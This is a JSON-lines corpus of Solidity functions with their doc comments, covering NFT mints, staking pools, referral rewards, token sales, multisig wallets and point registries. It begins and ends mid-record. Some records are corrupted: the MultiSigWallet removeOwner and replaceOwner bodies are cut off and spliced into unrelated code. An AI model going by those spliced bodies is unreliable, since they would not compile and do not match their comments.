withdraw(givenToken, balanceGivenDelta);\r\n }\r\n\r\n if(balanceReceivedDelta > 0) {\r\n withdraw(receivedToken, balanceReceivedDelta);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/// @dev Assigns ownership of a specific Movie to an address.", "function_code": "function _transfer(address _from, address _to, uint256 _tokenId) private {\r\n // Since the number of movies is capped to 2^32 we can't overflow this\r\n ownershipTokenCount[_to]++;\r\n // transfer ownership\r\n movieIndexToOwner[_tokenId] = _to;\r\n\r\n // When creating new movies _from is 0x0, but we can't account that address.\r\n if (_from != address(0)) {\r\n ownershipTokenCount[_from]--;\r\n // clear any previously approved ownership exchange\r\n delete movieIndexToApproved[_tokenId];\r\n }\r\n\r\n // Emit the transfer event.\r\n Transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.20"} {"comment": "/**\n * Split Signature\n *\n * Validation utility\n */", "function_code": "function _splitSignature(bytes memory sig) private pure returns (bytes32 r, bytes32 s, uint8 v) {\n require(sig.length == 65, \"Invalid signature length.\");\n\n assembly {\n r := mload(add(sig, 32))\n s := mload(add(sig, 64))\n v := byte(0, mload(add(sig, 96)))\n }\n }", "version": "0.8.7"} {"comment": "/**\n * Verify\n *\n * Validation utility.\n */", "function_code": "function _verify(\n address _to,\n string memory _key,\n bytes memory _proof\n ) private view returns (bool) {\n bytes32 msgHash = _getMessageHash(_to, _key);\n bytes32 signedMsgHash = _signedMsgHash(msgHash);\n\n return _recoverSigner(signedMsgHash, _proof) == _verificationSigner;\n }", "version": "0.8.7"} {"comment": "/**\n * Mint whitelisted\n *\n * Waives the mintFee if the received is whitelisted.\n */", "function_code": "function mintWhitelisted(address _receiver, uint _amount, bytes memory _proof) public payable returns (uint[] memory) {\n require(_verify(msg.sender, _KEY, _proof), \"Unauthorized.\");\n require(_amount <= _MINTABLE_PER_TX, \"Exceeds mintable per tx limit.\");\n require(_mintedWhitelist[_receiver] + _amount <= _whitelistAllowance, \"Exceeds whitelist limit.\");\n\n uint[] memory _mintedIds = new uint[](_amount);\n for (uint i = 0; i < _amount; i++) {\n require(totalSupply() < _maxSupply, \"Max supply reached.\");\n\n _tokenIDs.increment();\n uint tokenId = _tokenIDs.current();\n _mint(_receiver, tokenId);\n _mintedWhitelist[_receiver]++;\n _mintedIds[i] = tokenId;\n }\n\n return _mintedIds;\n }", "version": "0.8.7"} {"comment": "/**\n * Mint a token to an address.\n *\n * Requires payment of _mintFee.\n */", "function_code": "function mintTo(address _receiver, uint _amount) public payable returns (uint[] memory) {\n require(block.timestamp >= _launchTimestamp, \"Project hasn't launched.\");\n require(msg.value >= _mintFee * _amount, \"Requires minimum fee.\");\n require(_amount <= _MINTABLE_PER_TX, \"Exceeds mintable per tx limit.\");\n\n uint[] memory _mintedIds = new uint[](_amount);\n for (uint i = 0; i < _amount; i++) {\n require(totalSupply() < _maxSupply, \"Max supply reached.\");\n\n _tokenIDs.increment();\n uint tokenId = _tokenIDs.current();\n _mint(_receiver, tokenId);\n _mintedIds[i] = tokenId;\n }\n\n return _mintedIds;\n }", "version": "0.8.7"} {"comment": "/**\n * Admin function: Remove funds.\n *\n * Removes the distribution of funds out of the smart contract.\n */", "function_code": "function removeFunds() external onlyOwner {\n uint256 funds = address(this).balance;\n uint256 aShare = funds * 33 / 100;\n (bool success1, ) = 0xB24dC90a223Bb190cD28594a1fE65029d4aF5b42.call{\n value: aShare\n }(\"\");\n\n uint256 bShare = funds * 33 / 100;\n (bool success2, ) = 0x1589a76943f74241320a002C9642C77071021e55.call{\n value: bShare\n }(\"\");\n\n (bool success, ) = owner().call{value: address(this).balance}(\"\");\n require(\n success &&\n success1 &&\n success2,\n \"Error sending funds.\"\n );\n }", "version": "0.8.7"} {"comment": "/**\n * @dev helper to redeem rewards for a proposal\n * It calls execute on the proposal if it is not yet executed.\n * It tries to redeem reputation and stake from the GenesisProtocol.\n * It tries to redeem proposal rewards from the contribution rewards scheme.\n * This function does not emit events.\n * A client should listen to GenesisProtocol and ContributionReward redemption events\n * to monitor redemption operations.\n * @param _proposalId the ID of the voting in the voting machine\n * @param _avatar address of the controller\n * @param _beneficiary beneficiary\n * @return gpRewards array\n * gpRewards[0] - stakerTokenAmount\n * gpRewards[1] - voterReputationAmount\n * gpRewards[2] - proposerReputationAmount\n * @return gpDaoBountyReward array\n * gpDaoBountyReward[0] - staker dao bounty reward -\n * will be zero for the case there is not enough tokens in avatar for the reward.\n * gpDaoBountyReward[1] - staker potential dao bounty reward.\n * @return executed bool true or false\n * @return winningVote\n * 1 - executed or closed and the winning vote is YES\n * 2 - executed or closed and the winning vote is NO\n * @return int256 crReputationReward Reputation - from ContributionReward\n * @return int256 crNativeTokenReward NativeTokenReward - from ContributionReward\n * @return int256 crEthReward Ether - from ContributionReward\n * @return int256 crExternalTokenReward ExternalToken - from ContributionReward\n */", "function_code": "function redeem(bytes32 _proposalId, Avatar _avatar, address _beneficiary)\n external\n returns(uint[3] memory gpRewards,\n uint[2] memory gpDaoBountyReward,\n bool executed,\n uint256 winningVote,\n int256 crReputationReward,\n uint256 crNativeTokenReward,\n uint256 crEthReward,\n uint256 crExternalTokenReward)\n {\n GenesisProtocol.ProposalState pState = genesisProtocol.state(_proposalId);\n\n if ((pState == GenesisProtocolLogic.ProposalState.Queued)||\n (pState == GenesisProtocolLogic.ProposalState.PreBoosted)||\n (pState == GenesisProtocolLogic.ProposalState.Boosted)||\n (pState == GenesisProtocolLogic.ProposalState.QuietEndingPeriod)) {\n executed = genesisProtocol.execute(_proposalId);\n }\n pState = genesisProtocol.state(_proposalId);\n if ((pState == GenesisProtocolLogic.ProposalState.Executed) ||\n (pState == GenesisProtocolLogic.ProposalState.ExpiredInQueue)) {\n gpRewards = genesisProtocol.redeem(_proposalId, _beneficiary);\n (gpDaoBountyReward[0], gpDaoBountyReward[1]) = genesisProtocol.redeemDaoBounty(_proposalId, _beneficiary);\n winningVote = genesisProtocol.winningVote(_proposalId);\n //redeem from contributionReward only if it executed\n if (contributionReward.getProposalExecutionTime(_proposalId, address(_avatar)) > 0) {\n (crReputationReward, crNativeTokenReward, crEthReward, crExternalTokenReward) =\n contributionRewardRedeem(_proposalId, _avatar);\n }\n }\n }", "version": "0.5.4"} {"comment": "// View function to see pending ROSEs on frontend.", "function_code": "function pendingRose1(uint256 _pid, address _user)\r\n public\r\n view\r\n returns (uint256)\r\n {\r\n PoolInfo1 storage pool = poolInfo1[_pid];\r\n UserInfo storage user = userInfo1[_pid][_user];\r\n uint256 accRosePerShare = pool.accRosePerShare;\r\n uint256 lpSupply = pool.totalAmount;\r\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n uint256 blockRewards = getBlockRewards(\r\n pool.lastRewardBlock,\r\n block.number\r\n );\r\n // pool1 hold 70% rewards.\r\n blockRewards = blockRewards.mul(7).div(10);\r\n uint256 roseReward = blockRewards.mul(pool.allocPoint).div(\r\n allocPointPool1\r\n );\r\n accRosePerShare = accRosePerShare.add(\r\n roseReward.mul(1e12).div(lpSupply)\r\n );\r\n }\r\n return user.amount.mul(accRosePerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.12"} {"comment": "// Deposit LP tokens to RoseMain for ROSE allocation.", "function_code": "function deposit1(uint256 _pid, uint256 _amount) public {\r\n PoolInfo1 storage pool = poolInfo1[_pid];\r\n UserInfo storage user = userInfo1[_pid][msg.sender];\r\n updatePool1(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount\r\n .mul(pool.accRosePerShare)\r\n .div(1e12)\r\n .sub(user.rewardDebt);\r\n if (pending > 0) {\r\n safeRoseTransfer(msg.sender, pending);\r\n mintReferralReward(pending);\r\n }\r\n }\r\n if (_amount > 0) {\r\n pool.lpToken.safeTransferFrom(\r\n address(msg.sender),\r\n address(this),\r\n _amount\r\n );\r\n user.amount = user.amount.add(_amount);\r\n pool.totalAmount = pool.totalAmount.add(_amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accRosePerShare).div(1e12);\r\n emit Deposit1(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Deposit LP tokens to MrBanker for BOOB allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (block.number < startBlock) {\r\n user.earlyRewardMultiplier = 110;\r\n } else {\r\n user.earlyRewardMultiplier = user.earlyRewardMultiplier > 100 ? user.earlyRewardMultiplier : 100;\r\n }\r\n\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\r\n safeSushiTransfer(msg.sender, pending);\r\n if (block.number < bonusLpEndBlock && user.earlyRewardMultiplier > 100) {\r\n // since pool balance isn't calculated on individual contributions we must mint the early adopters rewards\r\n // as we might come short otherwise.\r\n sushi.mint(msg.sender, pending.mul(user.earlyRewardMultiplier).div(100).sub(pending));\r\n }\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\r\n if (block.number < startBlock) {\r\n emit EarlyAdopter(msg.sender, _pid, _amount);\r\n }\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from MrBanker.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accSushiPerShare).div(1e12).sub(user.rewardDebt);\r\n safeSushiTransfer(msg.sender, pending);\r\n if (pending > 0 && block.number < bonusLpEndBlock && user.earlyRewardMultiplier > 100) {\r\n // since pool balance isn't calculated on individual contributions we must mint the early adopters rewards\r\n // as we might come short otherwise.\r\n sushi.mint(msg.sender, pending.mul(user.earlyRewardMultiplier).div(100).sub(pending));\r\n }\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accSushiPerShare).div(1e12);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from RoseMain.", "function_code": "function withdraw1(uint256 _pid, uint256 _amount) public {\r\n PoolInfo1 storage pool = poolInfo1[_pid];\r\n UserInfo storage user = userInfo1[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool1(_pid);\r\n uint256 pending = user.amount.mul(pool.accRosePerShare).div(1e12).sub(\r\n user.rewardDebt\r\n );\r\n if (pending > 0) {\r\n safeRoseTransfer(msg.sender, pending);\r\n mintReferralReward(pending);\r\n }\r\n if (_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pool.totalAmount = pool.totalAmount.sub(_amount);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accRosePerShare).div(1e12);\r\n emit Withdraw1(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Fill _user in as referrer.", "function_code": "function refer(address _user) external {\r\n require(_user != msg.sender && referrers[_user] != address(0));\r\n // No modification.\r\n require(referrers[msg.sender] == address(0));\r\n referrers[msg.sender] = _user;\r\n // Record two levels of refer relationship\u3002\r\n referreds1[_user].push(msg.sender);\r\n address referrer2 = referrers[_user];\r\n if (_user != referrer2) {\r\n referreds2[referrer2].push(msg.sender);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Query the first referred user.", "function_code": "function getReferreds1(address addr, uint256 startPos)\r\n external\r\n view\r\n returns (uint256 length, address[] memory data)\r\n {\r\n address[] memory referreds = referreds1[addr];\r\n length = referreds.length;\r\n data = new address[](length);\r\n for (uint256 i = 0; i < 5 && i + startPos < length; i++) {\r\n data[i] = referreds[startPos + i];\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev fallback function to send ether to for Crowd sale\r\n **/", "function_code": "function () public payable {\r\n require(currentStage == Stages.icoStart);\r\n require(msg.value > 0);\r\n require(remainingTokens > 0);\r\n \r\n \r\n uint256 weiAmount = msg.value; // Calculate tokens to sell\r\n uint256 tokens = weiAmount.mul(basePrice).div(1 ether);\r\n uint256 returnWei = 0;\r\n \r\n if(tokensSold.add(tokens) > cap){\r\n uint256 newTokens = cap.sub(tokensSold);\r\n uint256 newWei = newTokens.div(basePrice).mul(1 ether);\r\n returnWei = weiAmount.sub(newWei);\r\n weiAmount = newWei;\r\n tokens = newTokens;\r\n }\r\n \r\n tokensSold = tokensSold.add(tokens); // Increment raised amount\r\n remainingTokens = cap.sub(tokensSold);\r\n if(returnWei > 0){\r\n msg.sender.transfer(returnWei);\r\n emit Transfer(address(this), msg.sender, returnWei);\r\n }\r\n \r\n balances[msg.sender] = balances[msg.sender].add(tokens);\r\n emit Transfer(address(this), msg.sender, tokens);\r\n totalSupply_ = totalSupply_.add(tokens);\r\n owner.transfer(weiAmount);// Send money to owner\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev endIco closes down the ICO \r\n **/", "function_code": "function endIco() internal {\r\n currentStage = Stages.icoEnd;\r\n // Transfer any remaining tokens\r\n if(remainingTokens > 0)\r\n balances[owner] = balances[owner].add(remainingTokens);\r\n // transfer any remaining ETH balance in the contract to the owner\r\n owner.transfer(address(this).balance); \r\n }", "version": "0.4.24"} {"comment": "// Query the second referred user.", "function_code": "function getReferreds2(address addr, uint256 startPos)\r\n external\r\n view\r\n returns (uint256 length, address[] memory data)\r\n {\r\n address[] memory referreds = referreds2[addr];\r\n length = referreds.length;\r\n data = new address[](length);\r\n for (uint256 i = 0; i < 5 && i + startPos < length; i++) {\r\n data[i] = referreds[startPos + i];\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Query user all rewards", "function_code": "function allPendingRose(address _user)\r\n external\r\n view\r\n returns (uint256 pending)\r\n {\r\n for (uint256 i = 0; i < poolInfo1.length; i++) {\r\n pending = pending.add(pendingRose1(i, _user));\r\n }\r\n for (uint256 i = 0; i < poolInfo2.length; i++) {\r\n pending = pending.add(pendingRose2(i, _user));\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Mint for referrers.", "function_code": "function mintReferralReward(uint256 _amount) internal {\r\n address referrer = referrers[msg.sender];\r\n // no referrer.\r\n if (address(0) == referrer) {\r\n return;\r\n }\r\n // mint for user and the first level referrer.\r\n rose.mint(msg.sender, _amount.div(100));\r\n rose.mint(referrer, _amount.mul(2).div(100));\r\n\r\n // only the referrer of the top person is himself.\r\n if (referrers[referrer] == referrer) {\r\n return;\r\n }\r\n // mint for the second level referrer.\r\n rose.mint(referrers[referrer], _amount.mul(2).div(100));\r\n }", "version": "0.6.12"} {"comment": "// Update the locked amount that meet the conditions", "function_code": "function updateLockedAmount(PoolInfo2 storage pool) internal {\r\n uint256 passedBlock = block.number - pool.lastUnlockedBlock;\r\n if (passedBlock >= pool.unlockIntervalBlock) {\r\n // case 2 and more than 2 period have passed.\r\n pool.lastUnlockedBlock = pool.lastUnlockedBlock.add(\r\n pool.unlockIntervalBlock.mul(\r\n passedBlock.div(pool.unlockIntervalBlock)\r\n )\r\n );\r\n uint256 lockedAmount = pool.lockedAmount;\r\n pool.lockedAmount = 0;\r\n pool.freeAmount = pool.freeAmount.add(lockedAmount);\r\n } else if (pool.lockedAmount >= pool.maxLockAmount) {\r\n // Free 75% to freeAmont from lockedAmount.\r\n uint256 freeAmount = pool.lockedAmount.mul(75).div(100);\r\n pool.lockedAmount = pool.lockedAmount.sub(freeAmount);\r\n pool.freeAmount = pool.freeAmount.add(freeAmount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Allocate tokens to the users\n// @param _owners The owners list of the token\n// @param _values The value list of the token", "function_code": "function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner {\r\n\r\n require(_owners.length == _values.length, \"data length mismatch\");\r\n address from = msg.sender;\r\n\r\n for(uint256 i = 0; i < _owners.length ; i++){\r\n address to = _owners[i];\r\n uint256 value = _values[i];\r\n require(value <= balances[from]);\r\n\r\n balances[to] = balances[to].add(value);\r\n balances[from] = balances[from].sub(value);\r\n emit Transfer(from, to, value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */", "function_code": "function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a / b + (a % b == 0 ? 0 : 1);\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice retrieve price for multiple NFTs\r\n *\r\n * @param amount the amount of NFTs to get price for\r\n */", "function_code": "function getPrice(uint256 amount) public view returns (uint256){\r\n uint256 supply = totalSupply(ARTWORK) - _reserved;\r\n uint totalCost = 0;\r\n for (uint i = 0; i < amount; i++) {\r\n totalCost += getCurrentPriceAtPosition(supply + i);\r\n }\r\n return totalCost;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice global mint function used in early access and public sale\r\n *\r\n * @param amount the amount of tokens to mint\r\n */", "function_code": "function mint(uint256 amount) private {\r\n require(amount > 0, \"Need to request at least 1 NFT\");\r\n require(totalSupply(ARTWORK) + amount <= _maxSupply, \"Exceeds maximum supply\");\r\n require(msg.value >= getPrice(amount), \"Not enough ETH sent, check price\");\r\n\r\n purchaseTxs[msg.sender] += amount;\r\n _mint(msg.sender, ARTWORK, amount, \"\");\r\n }", "version": "0.8.7"} {"comment": "// Using feeAmount to buy back ROSE and share every holder.", "function_code": "function convert(uint256 _pid) external {\r\n PoolInfo2 storage pool = poolInfo2[_pid];\r\n uint256 lpSupply = pool.freeAmount.add(pool.lockedAmount);\r\n if (address(sfr2rose) != address(0) && pool.feeAmount > 0) {\r\n uint256 amountOut = swapSFRForROSE(pool.feeAmount);\r\n if (amountOut > 0) {\r\n pool.feeAmount = 0;\r\n pool.sharedFeeAmount = pool.sharedFeeAmount.add(amountOut);\r\n pool.accRosePerShare = pool.accRosePerShare.add(\r\n amountOut.mul(1e12).div(lpSupply)\r\n );\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @param _reserve underlying token address", "function_code": "function getReserveData(address _reserve)\n external virtual\n view\n returns (\n uint256 totalLiquidity, // reserve total liquidity\n uint256 availableLiquidity, // reserve available liquidity for borrowing\n uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate\n uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate\n uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units.\n uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units.\n uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units.\n uint256 averageStableBorrowRate, // current average stable borrow rate\n uint256 utilizationRate, // expressed as total borrows/total liquidity.\n uint256 liquidityIndex, // cumulative liquidity index\n uint256 variableBorrowIndex, // cumulative variable borrow index\n address aTokenAddress, // aTokens contract address for the specific _reserve\n uint40 lastUpdateTimestamp // timestamp of the last update of reserve data\n );", "version": "0.6.12"} {"comment": "/// @param _user users address", "function_code": "function getUserAccountData(address _user)\n external virtual\n view\n returns (\n uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei\n uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei\n uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei\n uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei\n uint256 availableBorrowsETH, // user available amount to borrow in ETH\n uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited\n uint256 ltv, // user average Loan-to-Value between all the collaterals\n uint256 healthFactor // user current Health Factor\n );", "version": "0.6.12"} {"comment": "/// @param _reserve underlying token address\n/// @param _user users address", "function_code": "function getUserReserveData(address _reserve, address _user)\n external virtual\n view\n returns (\n uint256 currentATokenBalance, // user current reserve aToken balance\n uint256 currentBorrowBalance, // user current reserve outstanding borrow balance\n uint256 principalBorrowBalance, // user balance of borrowed asset\n uint256 borrowRateMode, // user borrow rate mode either Stable or Variable\n uint256 borrowRate, // user current borrow rate APY\n uint256 liquidityRate, // user current earn rate on _reserve\n uint256 originationFee, // user outstanding loan origination fee\n uint256 variableBorrowIndex, // user variable cumulative index\n uint256 lastUpdateTimestamp, // Timestamp of the last data update\n bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral\n );", "version": "0.6.12"} {"comment": "/// @dev mint up to `punks` tokens", "function_code": "function mint(uint256 punks) public payable {\n _enforceNotPaused();\n _enforceSale();\n uint256 ts = totalSupply();\n uint256 sl = MAX_WP_SUPPLY;\n require(ts < MAX_WP_SUPPLY, \"WantedPunksSoldOut\");\n require(punks > 0, \"ZeroWantedPunksRequested\");\n require(punks <= WP_PACK_LIMIT, \"BuyLimitExceeded\");\n require(PRICE * punks == msg.value, \"InvalidETHAmount\");\n require(ts + punks <= sl, \"MintingExceedsMaxSupply\");\n\n for (uint256 i = 0; i < punks; i++) {\n _safeMint(msg.sender, ts + i);\n }\n\n uint256 tip = (msg.value * SPLIT) / 100;\n tipAccumulator += tip;\n earningsAccumulator += (msg.value - tip);\n\n if (totalSupply() == sl) {\n _reveal();\n }\n }", "version": "0.8.7"} {"comment": "//\n// Point writing\n//\n// activatePoint(): activate a point, register it as spawned by its prefix\n//", "function_code": "function activatePoint(uint32 _point)\r\n onlyOwner\r\n external\r\n {\r\n // make a point active, setting its sponsor to its prefix\r\n //\r\n Point storage point = points[_point];\r\n require(!point.active);\r\n point.active = true;\r\n registerSponsor(_point, true, getPrefix(_point));\r\n emit Activated(_point);\r\n }", "version": "0.4.24"} {"comment": "// setKeys(): set network public keys of _point to _encryptionKey and\n// _authenticationKey, with the specified _cryptoSuiteVersion\n//", "function_code": "function setKeys(uint32 _point,\r\n bytes32 _encryptionKey,\r\n bytes32 _authenticationKey,\r\n uint32 _cryptoSuiteVersion)\r\n onlyOwner\r\n external\r\n {\r\n Point storage point = points[_point];\r\n if ( point.encryptionKey == _encryptionKey &&\r\n point.authenticationKey == _authenticationKey &&\r\n point.cryptoSuiteVersion == _cryptoSuiteVersion )\r\n {\r\n return;\r\n }\r\n\r\n point.encryptionKey = _encryptionKey;\r\n point.authenticationKey = _authenticationKey;\r\n point.cryptoSuiteVersion = _cryptoSuiteVersion;\r\n point.keyRevisionNumber++;\r\n\r\n emit ChangedKeys(_point,\r\n _encryptionKey,\r\n _authenticationKey,\r\n _cryptoSuiteVersion,\r\n point.keyRevisionNumber);\r\n }", "version": "0.4.24"} {"comment": "// registerSpawn(): add a point to its prefix's list of spawned points\n//", "function_code": "function registerSpawned(uint32 _point)\r\n onlyOwner\r\n external\r\n {\r\n // if a point is its own prefix (a galaxy) then don't register it\r\n //\r\n uint32 prefix = getPrefix(_point);\r\n if (prefix == _point)\r\n {\r\n return;\r\n }\r\n\r\n // register a new spawned point for the prefix\r\n //\r\n points[prefix].spawned.push(_point);\r\n emit Spawned(prefix, _point);\r\n }", "version": "0.4.24"} {"comment": "// canManage(): true if _who is the owner or manager of _point\n//", "function_code": "function canManage(uint32 _point, address _who)\r\n view\r\n external\r\n returns (bool result)\r\n {\r\n Deed storage deed = rights[_point];\r\n return ( (0x0 != _who) &&\r\n ( (_who == deed.owner) ||\r\n (_who == deed.managementProxy) ) );\r\n }", "version": "0.4.24"} {"comment": "// canSpawnAs(): true if _who is the owner or spawn proxy of _point\n//", "function_code": "function canSpawnAs(uint32 _point, address _who)\r\n view\r\n external\r\n returns (bool result)\r\n {\r\n Deed storage deed = rights[_point];\r\n return ( (0x0 != _who) &&\r\n ( (_who == deed.owner) ||\r\n (_who == deed.spawnProxy) ) );\r\n }", "version": "0.4.24"} {"comment": "/// @dev buy function allows to buy ether. for using optional data", "function_code": "function buyGifto()\r\n public\r\n payable\r\n onSale\r\n validValue\r\n validInvestor {\r\n uint256 requestedUnits = (msg.value * _originalBuyPrice) / 10**18;\r\n require(balances[owner] >= requestedUnits);\r\n // prepare transfer data\r\n balances[owner] -= requestedUnits;\r\n balances[msg.sender] += requestedUnits;\r\n \r\n // increase total deposit amount\r\n deposit[msg.sender] += msg.value;\r\n \r\n // check total and auto turnOffSale\r\n totalTokenSold += requestedUnits;\r\n if (totalTokenSold >= _icoSupply){\r\n _selling = false;\r\n }\r\n \r\n // submit transfer\r\n Transfer(owner, msg.sender, requestedUnits);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Updates buy price (owner ONLY)\n/// @param newBuyPrice New buy price (in unit)", "function_code": "function setBuyPrice(uint256 newBuyPrice) \r\n onlyOwner \r\n public {\r\n require(newBuyPrice>0);\r\n _originalBuyPrice = newBuyPrice; // 3000 Gifto = 3000 00000 unit\r\n // control _maximumBuy_USD = 10,000 USD, Gifto price is 0.1USD\r\n // maximumBuy_Gifto = 100,000 Gifto = 100,000,00000 unit\r\n // 3000 Gifto = 1ETH => maximumETH = 100,000,00000 / _originalBuyPrice\r\n // 100,000,00000/3000 0000 ~ 33ETH => change to wei\r\n _maximumBuy = 10**18 * 10000000000 /_originalBuyPrice;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Transfers the balance from msg.sender to an account\n/// @param _to Recipient address\n/// @param _amount Transfered amount in unit\n/// @return Transfer status", "function_code": "function transfer(address _to, uint256 _amount)\r\n public \r\n isTradable\r\n returns (bool) {\r\n // if sender's balance has enough unit and amount >= 0, \r\n // and the sum is not overflow,\r\n // then do transfer \r\n if ( (balances[msg.sender] >= _amount) &&\r\n (_amount >= 0) && \r\n (balances[_to] + _amount > balances[_to]) ) { \r\n\r\n balances[msg.sender] -= _amount;\r\n balances[_to] += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// Send _value amount of tokens from address _from to address _to\n// The transferFrom method is used for a withdraw workflow, allowing contracts to send\n// tokens on your behalf, for example to \"deposit\" to a contract address and/or to charge\n// fees in sub-currencies; the command should fail unless the _from account has\n// deliberately authorized the sender of the message via some mechanism; we propose\n// these standardized APIs for approval:", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _amount\r\n )\r\n public\r\n isTradable\r\n returns (bool success) {\r\n if (balances[_from] >= _amount\r\n && allowed[_from][msg.sender] >= _amount\r\n && _amount > 0\r\n && balances[_to] + _amount > balances[_to]) {\r\n balances[_from] -= _amount;\r\n allowed[_from][msg.sender] -= _amount;\r\n balances[_to] += _amount;\r\n Transfer(_from, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @dev Contract constructor sets initial owners and required number of confirmations.\n/// @param _owners List of initial owners.\n/// @param _required Number of required confirmations.", "function_code": "function MultiSigWallet(address[] _owners, uint _required)\r\n public\r\n validRequirement(_owners.length, _required)\r\n {\r\n for (uint i=0; i<_owners.length; i++) {\r\n if (isOwner[_owners[i]] || _owners[i] == 0)\r\n revert();\r\n isOwner[_owners[i]] = true;\r\n }\r\n owners = _owners;\r\n required = _required;\r\n }", "version": "0.4.18"} {"comment": "/// @dev Allows to remove an owner. Transaction has to be sent by wallet.\n/// @param owner Address of owner.", "function_code": "function removeOwner(address owner)\r\n public\r\n onlyWallet\r\n ownerExists(owner)\r\n {\r\n isOwner[owner] = false;\r\n for (uint i=0; i owners.length)\r\n changeRequirement(owners.length);\r\n OwnerRemoval(owner);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.\n/// @param owner Address of owner to be replaced.\n/// @param owner Address of new owner.", "function_code": "function replaceOwner(address owner, address newOwner)\r\n public\r\n onlyWallet\r\n ownerExists(owner)\r\n ownerDoesNotExist(newOwner)\r\n {\r\n for (uint i=0; i (_amount / 10)) {\n feeAmount = _amount / 10;\n }\n\n if (_token == KYBER_ETH_ADDRESS) {\n WALLET_ID.transfer(feeAmount);\n } else {\n ERC20(_token).safeTransfer(WALLET_ID, feeAmount);\n }\n }\n }", "version": "0.6.12"} {"comment": "// addClaim(): register a claim as _point\n//", "function_code": "function addClaim(uint32 _point,\r\n string _protocol,\r\n string _claim,\r\n bytes _dossier)\r\n external\r\n activePointManager(_point)\r\n {\r\n // cur: index + 1 of the claim if it already exists, 0 otherwise\r\n //\r\n uint8 cur = findClaim(_point, _protocol, _claim);\r\n\r\n // if the claim doesn't yet exist, store it in state\r\n //\r\n if (cur == 0)\r\n {\r\n // if there are no empty slots left, this throws\r\n //\r\n uint8 empty = findEmptySlot(_point);\r\n claims[_point][empty] = Claim(_protocol, _claim, _dossier);\r\n }\r\n //\r\n // if the claim has been made before, update the version in state\r\n //\r\n else\r\n {\r\n claims[_point][cur-1] = Claim(_protocol, _claim, _dossier);\r\n }\r\n emit ClaimAdded(_point, _protocol, _claim, _dossier);\r\n }", "version": "0.4.24"} {"comment": "// removeClaim(): unregister a claim as _point\n//", "function_code": "function removeClaim(uint32 _point, string _protocol, string _claim)\r\n external\r\n activePointManager(_point)\r\n {\r\n // i: current index + 1 in _point's list of claims\r\n //\r\n uint256 i = findClaim(_point, _protocol, _claim);\r\n\r\n // we store index + 1, because 0 is the eth default value\r\n // can only delete an existing claim\r\n //\r\n require(i > 0);\r\n i--;\r\n\r\n // clear out the claim\r\n //\r\n delete claims[_point][i];\r\n\r\n emit ClaimRemoved(_point, _protocol, _claim);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer token for a specified addresses\r\n * @param _from The address to transfer from.\r\n * @param _to 